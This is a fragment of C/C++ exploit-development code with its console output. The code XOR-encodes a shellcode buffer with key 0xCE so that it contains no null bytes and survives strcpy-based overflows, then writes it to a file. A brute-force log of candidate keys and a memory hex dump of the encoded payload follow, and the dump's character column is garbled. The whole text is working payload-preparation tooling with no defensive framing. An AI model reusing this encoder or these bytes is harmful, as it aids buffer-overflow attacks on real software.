int ishellcodelen = sizeof(shellcode);
xorshellcode = new char[ishellcodelen + 2];
memset(xorshellcode,0x00,ishellcodelen+2);
cpy = new char[ishellcodelen + 2];
memset(cpy,0x00,ishellcodelen+2);
//printf(" %d = %d \r\n",ishellcodelen,strlen((const char *)shellcode));
int i =0;
/*
for(int j =0;j < 0xff;j++)
{
for(i =0;i < ishellcodelen;i++)
{
xorshellcode[i] = shellcode[i] ^ j;
}
strcpy(cpy,xorshellcode);
if(strlen(cpy) == strlen(xorshellcode))
{
printf("cpy is %d , xor is %d ",strlen(cpy),strlen(xorshellcode));
printf("%x \r\n",j);
}
}
*/
/*
for( i =0;i < ishellcodelen;i++)
{
printf("0x%0.2x ",xorshellcode[i]);
}
printf("\r\n %d = %d \r\n",ishellcodelen,strlen((const char *)xorshellcode));
*/
for(i =0;i < ishellcodelen;i++)
{
xorshellcode[i] = shellcode[i] ^ 0xCE;
}
FILE * fp;
if(!(fp=fopen("password2.txt","w+")))
{
printf("fp fopen flaid \n");
int e = GetLastError();
exit(0);
}
//int l = fputs((const char *)&(xorshellcode[0]),fp);
int l = fwrite(xorshellcode,strlen(xorshellcode),sizeof( char),fp);
printf("fp write byte %d \n",l);
l = GetLastError();
fclose(fp);/**/
cpy is 181 , xor is 181 0
cpy is 182 , xor is 182 1
cpy is 182 , xor is 182 2
cpy is 89 , xor is 89 3
cpy is 24 , xor is 24 4
cpy is 75 , xor is 75 5
cpy is 107 , xor is 107 6
cpy is 114 , xor is 114 7
cpy is 54 , xor is 54 8
cpy is 59 , xor is 59 9
cpy is 3 , xor is 3 a
cpy is 182 , xor is 182 b
cpy is 15 , xor is 15 c
cpy is 182 , xor is 182 d
cpy is 182 , xor is 182 e
cpy is 105 , xor is 105 f
cpy is 182 , xor is 182 10
cpy is 182 , xor is 182 11
cpy is 182 , xor is 182 12
cpy is 182 , xor is 182 13
cpy is 182 , xor is 182 14
cpy is 182 , xor is 182 15
cpy is 182 , xor is 182 16
cpy is 182 , xor is 182 17
cpy is 63 , xor is 63 18
cpy is 182 , xor is 182 19
cpy is 182 , xor is 182 1a
cpy is 182 , xor is 182 1b
cpy is 49 , xor is 49 1c
cpy is 182 , xor is 182 1d
cpy is 5 , xor is 5 1e
cpy is 182 , xor is 182 1f
cpy is 57 , xor is 57 20
cpy is 182 , xor is 182 21
cpy is 182 , xor is 182 22
cpy is 182 , xor is 182 23
cpy is 122 , xor is 122 24
cpy is 182 , xor is 182 25
cpy is 182 , xor is 182 26
cpy is 182 , xor is 182 27
cpy is 182 , xor is 182 28
cpy is 182 , xor is 182 29
cpy is 182 , xor is 182 2a
cpy is 25 , xor is 25 2b
cpy is 141 , xor is 141 2c
cpy is 182 , xor is 182 2d
cpy is 182 , xor is 182 2e
cpy is 182 , xor is 182 2f
cpy is 43 , xor is 43 30
cpy is 182 , xor is 182 31
cpy is 12 , xor is 12 32
cpy is 21 , xor is 21 33
cpy is 100 , xor is 100 34
cpy is 182 , xor is 182 35
cpy is 182 , xor is 182 36
cpy is 182 , xor is 182 37
cpy is 4 , xor is 4 38
cpy is 61 , xor is 61 39
cpy is 108 , xor is 108 3a
cpy is 120 , xor is 120 3b
cpy is 84 , xor is 84 3c
cpy is 69 , xor is 69 3d
cpy is 182 , xor is 182 3e
cpy is 182 , xor is 182 3f
cpy is 182 , xor is 182 40
cpy is 182 , xor is 182 41
cpy is 182 , xor is 182 42
cpy is 182 , xor is 182 43
cpy is 182 , xor is 182 44
cpy is 83 , xor is 83 45
cpy is 117 , xor is 117 46
cpy is 98 , xor is 98 47
cpy is 182 , xor is 182 48
cpy is 48 , xor is 48 49
cpy is 182 , xor is 182 4a
cpy is 45 , xor is 45 4b
cpy is 86 , xor is 86 4c
cpy is 182 , xor is 182 4d
cpy is 182 , xor is 182 4e
cpy is 10 , xor is 10 4f
cpy is 171 , xor is 171 50
cpy is 182 , xor is 182 51
cpy is 182 , xor is 182 52
cpy is 31 , xor is 31 53
cpy is 37 , xor is 37 54
cpy is 182 , xor is 182 55
cpy is 51 , xor is 51 56
cpy is 50 , xor is 50 57
cpy is 182 , xor is 182 58
cpy is 92 , xor is 92 59
cpy is 42 , xor is 42 5a
cpy is 182 , xor is 182 5b
cpy is 182 , xor is 182 5c
cpy is 182 , xor is 182 5d
cpy is 66 , xor is 66 5e
cpy is 67 , xor is 67 5f
cpy is 81 , xor is 81 60
cpy is 147 , xor is 147 61
cpy is 164 , xor is 164 62
cpy is 7 , xor is 7 63
cpy is 40 , xor is 40 64
cpy is 35 , xor is 35 65
cpy is 27 , xor is 27 66
cpy is 182 , xor is 182 67
cpy is 1 , xor is 1 68
cpy is 53 , xor is 53 69
cpy is 2 , xor is 2 6a
cpy is 182 , xor is 182 6b
cpy is 182 , xor is 182 6c
cpy is 182 , xor is 182 6d
cpy is 182 , xor is 182 6e
cpy is 182 , xor is 182 6f
cpy is 182 , xor is 182 70
cpy is 182 , xor is 182 71
cpy is 36 , xor is 36 72
cpy is 34 , xor is 34 73
cpy is 13 , xor is 13 74
cpy is 33 , xor is 33 75
cpy is 182 , xor is 182 76
cpy is 182 , xor is 182 77
cpy is 88 , xor is 88 78
cpy is 56 , xor is 56 79
cpy is 182 , xor is 182 7a
cpy is 134 , xor is 134 7b
cpy is 182 , xor is 182 7c
cpy is 182 , xor is 182 7d
cpy is 19 , xor is 19 7e
cpy is 182 , xor is 182 7f
cpy is 182 , xor is 182 80
cpy is 182 , xor is 182 81
cpy is 182 , xor is 182 82
cpy is 182 , xor is 182 83
cpy is 182 , xor is 182 84
cpy is 182 , xor is 182 85
cpy is 182 , xor is 182 86
cpy is 182 , xor is 182 87
cpy is 182 , xor is 182 88
cpy is 8 , xor is 8 89
cpy is 182 , xor is 182 8a
cpy is 16 , xor is 16 8b
cpy is 182 , xor is 182 8c
cpy is 18 , xor is 18 8d
cpy is 182 , xor is 182 8e
cpy is 182 , xor is 182 8f
cpy is 182 , xor is 182 90
cpy is 14 , xor is 14 91
cpy is 182 , xor is 182 92
cpy is 182 , xor is 182 93
cpy is 182 , xor is 182 94
cpy is 76 , xor is 76 95
cpy is 182 , xor is 182 96
cpy is 182 , xor is 182 97
cpy is 182 , xor is 182 98
cpy is 104 , xor is 104 99
cpy is 182 , xor is 182 9a
cpy is 182 , xor is 182 9b
cpy is 182 , xor is 182 9c
cpy is 182 , xor is 182 9d
cpy is 182 , xor is 182 9e
cpy is 182 , xor is 182 9f
cpy is 182 , xor is 182 a0
cpy is 182 , xor is 182 a1
cpy is 182 , xor is 182 a2
cpy is 182 , xor is 182 a3
cpy is 182 , xor is 182 a4
cpy is 182 , xor is 182 a5
cpy is 182 , xor is 182 a6
cpy is 182 , xor is 182 a7
cpy is 182 , xor is 182 a8
cpy is 154 , xor is 154 a9
cpy is 182 , xor is 182 aa
cpy is 145 , xor is 145 ab
cpy is 182 , xor is 182 ac
cpy is 68 , xor is 68 ad
cpy is 182 , xor is 182 ae
cpy is 182 , xor is 182 af
cpy is 182 , xor is 182 b0
cpy is 182 , xor is 182 b1
cpy is 182 , xor is 182 b2
cpy is 182 , xor is 182 b3
cpy is 182 , xor is 182 b4
cpy is 182 , xor is 182 b5
cpy is 182 , xor is 182 b6
cpy is 23 , xor is 23 b7
cpy is 182 , xor is 182 b8
cpy is 182 , xor is 182 b9
cpy is 182 , xor is 182 ba
cpy is 28 , xor is 28 bb
cpy is 182 , xor is 182 bc
cpy is 182 , xor is 182 bd
cpy is 106 , xor is 106 be
cpy is 182 , xor is 182 bf
cpy is 182 , xor is 182 c0
cpy is 112 , xor is 112 c1
cpy is 182 , xor is 182 c2
cpy is 182 , xor is 182 c3
cpy is 109 , xor is 109 c4
cpy is 182 , xor is 182 c5
cpy is 182 , xor is 182 c6
cpy is 182 , xor is 182 c7
cpy is 182 , xor is 182 c8
cpy is 182 , xor is 182 c9
cpy is 113 , xor is 113 ca
cpy is 182 , xor is 182 cb
cpy is 182 , xor is 182 cc
cpy is 90 , xor is 90 cd
cpy is 182 , xor is 182 ce
cpy is 182 , xor is 182 cf
cpy is 116 , xor is 116 d0
cpy is 9 , xor is 9 d1
cpy is 39 , xor is 39 d2
cpy is 182 , xor is 182 d3
cpy is 182 , xor is 182 d4
cpy is 182 , xor is 182 d5
cpy is 182 , xor is 182 d6
cpy is 182 , xor is 182 d7
cpy is 182 , xor is 182 d8
cpy is 182 , xor is 182 d9
cpy is 182 , xor is 182 da
cpy is 22 , xor is 22 db
cpy is 182 , xor is 182 dc
cpy is 95 , xor is 95 dd
cpy is 182 , xor is 182 de
cpy is 182 , xor is 182 df
cpy is 182 , xor is 182 e0
cpy is 182 , xor is 182 e1
cpy is 182 , xor is 182 e2
cpy is 26 , xor is 26 e3
cpy is 125 , xor is 125 e4
cpy is 182 , xor is 182 e5
cpy is 182 , xor is 182 e6
cpy is 182 , xor is 182 e7
cpy is 182 , xor is 182 e8
cpy is 182 , xor is 182 e9
cpy is 182 , xor is 182 ea
cpy is 118 , xor is 118 eb
cpy is 182 , xor is 182 ec
cpy is 182 , xor is 182 ed
cpy is 182 , xor is 182 ee
cpy is 182 , xor is 182 ef
cpy is 182 , xor is 182 f0
cpy is 119 , xor is 119 f1
cpy is 65 , xor is 65 f2
cpy is 182 , xor is 182 f3
cpy is 17 , xor is 17 f4
cpy is 103 , xor is 103 f5
cpy is 182 , xor is 182 f6
cpy is 182 , xor is 182 f7
cpy is 79 , xor is 79 f8
cpy is 182 , xor is 182 f9
cpy is 182 , xor is 182 fa
cpy is 182 , xor is 182 fb
cpy is 0 , xor is 0 fc
cpy is 182 , xor is 182 fd
cpy is 182 , xor is 182 fe
fp write byte 1
Press any key to continue
0012FB23 32 A6 A4 C4 F6 D0 A6 AD 47 1F 81 A6 FC BA 2Δ啮笑璆仸
0012FB33 5F C2 45 3A 43 B0 C2 FD 15 79 CA E5 2D A8 75 FD _翬:C奥?y叔-╱?
0012FB43 FC 9D A6 BB BD AB BC 9A FD 1C AA 45 94 FE 45 85 鼭将細?狤旫E?
0012FB53 C2 45 87 D2 99 98 45 A7 C6 45 B7 EE 45 C7 A8 F7 翬囈櫂EE奉E迁?
0012FB63 99 D6 BB 3C 90 91 63 F3 A4 C4 F6 D0 BB CB 5B 31 欀?悜c螭啮谢薣1
0012FB73 99 36 5B AE 45 8B F2 45 82 CB B6 CD 03 45 97 EE ?[瓻嬺E偹锻E楊
0012FB83 CD 13 FD 31 89 45 FA 75 CD 3B 57 C1 70 C8 F4 00 ??塃鷘?W羛若.
0012FB93 A4 C4 F6 D0 A6 AD 47 1F 81 A6 FC BA 5F C2 45 3A つ鲂ΝG仸_翬:
0012FBA3 43 B0 C2 FD 15 79 CA E5 2D A8 75 FD FC 9D A6 BB C奥?y叔-╱潶?
0012FBB3 BD AB BC 9A FD 1C AA 45 94 FE 45 85 C2 45 87 D2 将細?狤旫E吢E囈
0012FBC3 99 98 45 A7 C6 45 B7 EE 45 C7 A8 F7 99 D6 BB 3C 櫂EE奉E迁鳈只<
0012FBD3 90 91 63 F3 A4 C4 F6 D0 BB CB 5B 31 99 36 悜c螭啮谢薣1?